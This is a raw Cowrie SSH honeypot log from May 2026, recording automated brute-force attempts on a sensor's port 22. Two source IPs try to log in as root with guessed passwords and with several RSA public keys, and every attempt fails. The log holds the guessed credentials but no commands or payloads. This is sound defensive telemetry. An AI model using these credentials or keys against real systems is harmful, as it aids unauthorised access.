{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:50.051584Z","src_ip":"60.165.124.241","session":"0c4c4df78013","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42438,"dst_ip":"10.17.0.5","dst_port":22,"session":"30bea78fd741","protocol":"ssh","message":"New connection: 60.165.124.241:42438 (10.17.0.5:22) [session: 30bea78fd741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:50.284474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:50.289204Z","src_ip":"60.165.124.241","session":"30bea78fd741","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:50.540527Z","src_ip":"60.165.124.241","session":"30bea78fd741","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yun#wocloud","message":"login attempt [root/Yun#wocloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:51.276471Z","src_ip":"60.165.124.241","session":"30bea78fd741","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:52.515384Z","src_ip":"60.165.124.241","session":"30bea78fd741","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45250,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3300e86426b","protocol":"ssh","message":"New connection: 60.165.124.241:45250 (10.17.0.5:22) [session: c3300e86426b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:52.749413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:52.762523Z","src_ip":"60.165.124.241","session":"c3300e86426b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:53.002666Z","src_ip":"60.165.124.241","session":"c3300e86426b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password?","message":"login attempt [root/Password?] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:53.719156Z","src_ip":"60.165.124.241","session":"c3300e86426b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.228.53.125","src_port":45208,"dst_ip":"10.17.0.5","dst_port":22,"session":"a84a5d03683f","protocol":"ssh","message":"New connection: 66.228.53.125:45208 (10.17.0.5:22) [session: a84a5d03683f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:54.427126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:54.432460Z","src_ip":"66.228.53.125","session":"a84a5d03683f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:54.481118Z","src_ip":"66.228.53.125","session":"a84a5d03683f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:41:3e:38:23:73:cf:3d:cb:40:fd:be:4d:e7:3c:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa5a4tUvTpgesRKQ7IKFjGBtH2oBFUWMHvxulSpzQ4AEyAUzcBpLtH0MlQSCMwsXM/0huZWUCOSOOl0JFn+pedRREr8ch2LWDO7+yh7Yne6nO0ecfIJA71TrrsMNIIWVC2gLRzP9qdFrzmeO9YhuX+yq83hkW2kMu4mW4hvJm86/ND250LJUfUH48gzw129BuTxCvVmO/G1SXENC2DGH/Z/Ep5or6LKZSbQi7TK4N/avSVJxhTRKcwDQQfV+yF9CGsWyzeBkhdKLuut0dNlNn5abm64Ku3x6UvbDrwlE00Y44mUo02W2sxvn80lg0E1zw5i9LpZFMTNI7Zw9+gsXFwaACYVLytBDTCZ0f74UVYkBAJC0aJ7LpfxYqJS96FdYUJCZveq456FIYS2NGwVc1sYwN+53/TUh9McfRtFO+/hmP52coZaOII7hnB+ns746SJwhWjl2cbthK3lnZYs5z0+iQ99iyiC4PH4ZuG17mCnjPuBJe/MtEqEE2OXlqxhTU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:41:3e:38:23:73:cf:3d:cb:40:fd:be:4d:e7:3c:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:54.686935Z","src_ip":"66.228.53.125","session":"a84a5d03683f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:41:3e:38:23:73:cf:3d:cb:40:fd:be:4d:e7:3c:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa5a4tUvTpgesRKQ7IKFjGBtH2oBFUWMHvxulSpzQ4AEyAUzcBpLtH0MlQSCMwsXM/0huZWUCOSOOl0JFn+pedRREr8ch2LWDO7+yh7Yne6nO0ecfIJA71TrrsMNIIWVC2gLRzP9qdFrzmeO9YhuX+yq83hkW2kMu4mW4hvJm86/ND250LJUfUH48gzw129BuTxCvVmO/G1SXENC2DGH/Z/Ep5or6LKZSbQi7TK4N/avSVJxhTRKcwDQQfV+yF9CGsWyzeBkhdKLuut0dNlNn5abm64Ku3x6UvbDrwlE00Y44mUo02W2sxvn80lg0E1zw5i9LpZFMTNI7Zw9+gsXFwaACYVLytBDTCZ0f74UVYkBAJC0aJ7LpfxYqJS96FdYUJCZveq456FIYS2NGwVc1sYwN+53/TUh9McfRtFO+/hmP52coZaOII7hnB+ns746SJwhWjl2cbthK3lnZYs5z0+iQ99iyiC4PH4ZuG17mCnjPuBJe/MtEqEE2OXlqxhTU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:54.691159Z","src_ip":"66.228.53.125","session":"a84a5d03683f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:ce:01:de:47:f2:fc:e9:42:bd:86:cc:6d:23:a8:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzeeRGrWsAOYftgb+3oqeExXkPdqY98NmB4icf5G8RkXFtyrVKs2zjnUWNI+I5gPmjfO5qTYy/OngwNWBSR8dP9CioqTxoENIqkhSJJAhGEHLCrUrE6EO4CiMU+Sp/03jF60OZThlM7NMVAGWjc+4HB86eno4P5WV1gIfYZQIHmHNJ3YXcgWcrYpfxzY/8XfvIObr/Hp8NNpHkhmWeQU8FihwcUnmT6Y6wx9NAgG2TH3K/SWzxxpUvaAuwREHLA3FXr/8HrNQhgWwDJSZCfOR51j6Ajunhypln6bK6gtRix5cHFQmXRjlpv2yGgR7khZt6EOTwUqSORy30XcZ5DSJAQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:ce:01:de:47:f2:fc:e9:42:bd:86:cc:6d:23:a8:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:54.738792Z","src_ip":"66.228.53.125","session":"a84a5d03683f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:ce:01:de:47:f2:fc:e9:42:bd:86:cc:6d:23:a8:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzeeRGrWsAOYftgb+3oqeExXkPdqY98NmB4icf5G8RkXFtyrVKs2zjnUWNI+I5gPmjfO5qTYy/OngwNWBSR8dP9CioqTxoENIqkhSJJAhGEHLCrUrE6EO4CiMU+Sp/03jF60OZThlM7NMVAGWjc+4HB86eno4P5WV1gIfYZQIHmHNJ3YXcgWcrYpfxzY/8XfvIObr/Hp8NNpHkhmWeQU8FihwcUnmT6Y6wx9NAgG2TH3K/SWzxxpUvaAuwREHLA3FXr/8HrNQhgWwDJSZCfOR51j6Ajunhypln6bK6gtRix5cHFQmXRjlpv2yGgR7khZt6EOTwUqSORy30XcZ5DSJAQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:54.747287Z","src_ip":"66.228.53.125","session":"a84a5d03683f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:80:46:97:37:1e:ce:7f:2d:aa:be:27:d0:2b:10:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQoJhhJXhWuqR9l5T5tD+6GHZzfznssmcaaO0CYW8slxoZk5qipc/rtjbQK/JJLvzgTLt4PzYGnV0fHA7WSW2zTy79tEdmkX85YCROflWKjyqMRiirytoTqJLGrgWef4TVE9CWE+LJb7HxLf2gvayu8a0hQpvonhoHxo3vbOaZoG7L4RlveGWizQZICJQLl0X1+gVsG3vKt3NE8wPQRDCem4lPUKgn1dxJo73x16ev/tpc7tw/y901uJZn/3L3rBBlLNjq2rrPUQlRKVBkCRcE2yEWz2nePs4IHxPNsujD3w3wNe1sAKNyQUBKyOt3r/4Ww9UvEGGJddy48xRgca59","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:80:46:97:37:1e:ce:7f:2d:aa:be:27:d0:2b:10:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:54.794689Z","src_ip":"66.228.53.125","session":"a84a5d03683f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:80:46:97:37:1e:ce:7f:2d:aa:be:27:d0:2b:10:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQoJhhJXhWuqR9l5T5tD+6GHZzfznssmcaaO0CYW8slxoZk5qipc/rtjbQK/JJLvzgTLt4PzYGnV0fHA7WSW2zTy79tEdmkX85YCROflWKjyqMRiirytoTqJLGrgWef4TVE9CWE+LJb7HxLf2gvayu8a0hQpvonhoHxo3vbOaZoG7L4RlveGWizQZICJQLl0X1+gVsG3vKt3NE8wPQRDCem4lPUKgn1dxJo73x16ev/tpc7tw/y901uJZn/3L3rBBlLNjq2rrPUQlRKVBkCRcE2yEWz2nePs4IHxPNsujD3w3wNe1sAKNyQUBKyOt3r/4Ww9UvEGGJddy48xRgca59","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:54.799146Z","src_ip":"66.228.53.125","session":"a84a5d03683f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:ab:20:fb:79:6e:1a:fa:8f:f2:96:4f:e7:c0:9b:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0maGmrM83OKtZVKJJgvyEbsvbI6yRyN99nxZDmvyUKJp79gTmNPMaIzGp66oM8I0STZWscWCn7gyPFz76FWFE3lDUJ2pF6w1aJu/y+6u1MPLn+ppxXgmDGnlsPyur5cmBImqTB58kh8aTHnwuxbyCd7G8KtbLZSlJ0tFhYse6BbDju18CPDi+hKhgPo+TtlU+zAhtzbEDLYlZW2w/s/B2zmgakKJd4XA1bZe/ghBxAX4zKLuZwfBVmN19eQ/avYE/9O3wnhcPjL1t2o1AMO4IzKtpKUjz95VaIMbkYWVa4dNY+Y7k0KxvcP1F9jrKmXrXQ1hZTBaU9kUz5BX5t4x1nkAbexx1Ee+XDvpf68bgcoggB9TnJBM8VH8AifDRST2idnb/Up6InWSdlACU99svNRoDJ7/O8ed08g0o30fkHW4GYvUEhMw4vyDjH+Yy+aXmH1nc65S0dJOttCZqI5H2ciwfkq4jXXKWCEKujd1RmjJFcQ6R9uuIvB4Vwa9CMM/uMSPobBHTLgdLm/gWbBYao7trKZYALYxg1o3far3qfpD1Jbkh6P6xfiYr3b2TIwxyGi3ZfqdEbiBsyfl0w2hoS8FYlLEZVqhGtT+PyBUYyKqINcUfFiw+vF1FP+yDTzQKZujp2krqI1nK+naljK4HgCvQQrGYaZsOMghXMSWnNw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:ab:20:fb:79:6e:1a:fa:8f:f2:96:4f:e7:c0:9b:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:54.846381Z","src_ip":"66.228.53.125","session":"a84a5d03683f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:ab:20:fb:79:6e:1a:fa:8f:f2:96:4f:e7:c0:9b:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0maGmrM83OKtZVKJJgvyEbsvbI6yRyN99nxZDmvyUKJp79gTmNPMaIzGp66oM8I0STZWscWCn7gyPFz76FWFE3lDUJ2pF6w1aJu/y+6u1MPLn+ppxXgmDGnlsPyur5cmBImqTB58kh8aTHnwuxbyCd7G8KtbLZSlJ0tFhYse6BbDju18CPDi+hKhgPo+TtlU+zAhtzbEDLYlZW2w/s/B2zmgakKJd4XA1bZe/ghBxAX4zKLuZwfBVmN19eQ/avYE/9O3wnhcPjL1t2o1AMO4IzKtpKUjz95VaIMbkYWVa4dNY+Y7k0KxvcP1F9jrKmXrXQ1hZTBaU9kUz5BX5t4x1nkAbexx1Ee+XDvpf68bgcoggB9TnJBM8VH8AifDRST2idnb/Up6InWSdlACU99svNRoDJ7/O8ed08g0o30fkHW4GYvUEhMw4vyDjH+Yy+aXmH1nc65S0dJOttCZqI5H2ciwfkq4jXXKWCEKujd1RmjJFcQ6R9uuIvB4Vwa9CMM/uMSPobBHTLgdLm/gWbBYao7trKZYALYxg1o3far3qfpD1Jbkh6P6xfiYr3b2TIwxyGi3ZfqdEbiBsyfl0w2hoS8FYlLEZVqhGtT+PyBUYyKqINcUfFiw+vF1FP+yDTzQKZujp2krqI1nK+naljK4HgCvQQrGYaZsOMghXMSWnNw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:54.850648Z","src_ip":"66.228.53.125","session":"a84a5d03683f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:30:f6:35:bf:af:11:06:4e:f7:f3:6b:b5:e7:b0:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDyAJeELOBSnRFdiZ4DkgL7iIhswsdFTDP351Wa9+DRnUX13Y99/FiA5Rs+rkEj/3Y01V8SdP7x/5pRegGD9kabYZ9NajfNL1zmhYqbCAMpPrpheK1t+ABk1EaW+yPZlGTvIea52eDcLdJ3xzu9EvtKMjWbNId0E2ZYKGtH9UKegdCtRQ2geFb7Z5PwYcfMQ/gXqc3QquV+ijoV5O3N41CX6M/ZhWE3af3K8AppfbeWIdvRgyJ+MI6cckEJ5gIDxl8cSH7p+HNdi0vGNvsZEmxMgBxqtHhbVP1v7KtLnzGayf2PTq33cbkYL13Q2Ngfm21mVv/rKdVXGso3yssfCdm1m4kWizwX0yZIufuMvPZlBnT4CTBpjTgJjP6ASEUC+MC+9qW3F8jloPkABsG398jdtIfoHRXF/x9rHgo3DsVhaba1RlSyBzPs/u8oDl49CoezLNpJvfWhvi18M6YDDqn8QUNj3s+eGV7dYqZOeQkL91snVqW7DPe+XaiLmFtzZ+z2mb3kRirMjhTfb/xqYdl3oNvoSvOwe0S97TI25sBbP1O+zBuK7Bm51ueYeaDgyWTkPq1D7fKv3RwE9l1/iGpGCvJVWh4UzWBuucu/+QXbXR8rxmd2RhdQ3dkrQjvGyRUhGw5NqQ9qskDRerRTebQzukVOhRpFIf/UAF83DmrooQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:30:f6:35:bf:af:11:06:4e:f7:f3:6b:b5:e7:b0:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:54.898038Z","src_ip":"66.228.53.125","session":"a84a5d03683f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:30:f6:35:bf:af:11:06:4e:f7:f3:6b:b5:e7:b0:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDyAJeELOBSnRFdiZ4DkgL7iIhswsdFTDP351Wa9+DRnUX13Y99/FiA5Rs+rkEj/3Y01V8SdP7x/5pRegGD9kabYZ9NajfNL1zmhYqbCAMpPrpheK1t+ABk1EaW+yPZlGTvIea52eDcLdJ3xzu9EvtKMjWbNId0E2ZYKGtH9UKegdCtRQ2geFb7Z5PwYcfMQ/gXqc3QquV+ijoV5O3N41CX6M/ZhWE3af3K8AppfbeWIdvRgyJ+MI6cckEJ5gIDxl8cSH7p+HNdi0vGNvsZEmxMgBxqtHhbVP1v7KtLnzGayf2PTq33cbkYL13Q2Ngfm21mVv/rKdVXGso3yssfCdm1m4kWizwX0yZIufuMvPZlBnT4CTBpjTgJjP6ASEUC+MC+9qW3F8jloPkABsG398jdtIfoHRXF/x9rHgo3DsVhaba1RlSyBzPs/u8oDl49CoezLNpJvfWhvi18M6YDDqn8QUNj3s+eGV7dYqZOeQkL91snVqW7DPe+XaiLmFtzZ+z2mb3kRirMjhTfb/xqYdl3oNvoSvOwe0S97TI25sBbP1O+zBuK7Bm51ueYeaDgyWTkPq1D7fKv3RwE9l1/iGpGCvJVWh4UzWBuucu/+QXbXR8rxmd2RhdQ3dkrQjvGyRUhGw5NqQ9qskDRerRTebQzukVOhRpFIf/UAF83DmrooQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:54.902150Z","src_ip":"66.228.53.125","session":"a84a5d03683f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:54.948998Z","src_ip":"66.228.53.125","session":"a84a5d03683f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:54.958264Z","src_ip":"60.165.124.241","session":"c3300e86426b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48310,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ba4229ae8bd","protocol":"ssh","message":"New connection: 60.165.124.241:48310 (10.17.0.5:22) [session: 5ba4229ae8bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:55.236373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:55.241733Z","src_ip":"60.165.124.241","session":"5ba4229ae8bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:55.504477Z","src_ip":"60.165.124.241","session":"5ba4229ae8bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty777","message":"login attempt [root/qwerty777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:56.287098Z","src_ip":"60.165.124.241","session":"5ba4229ae8bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:57.558186Z","src_ip":"60.165.124.241","session":"5ba4229ae8bd","protocol":"ssh"}
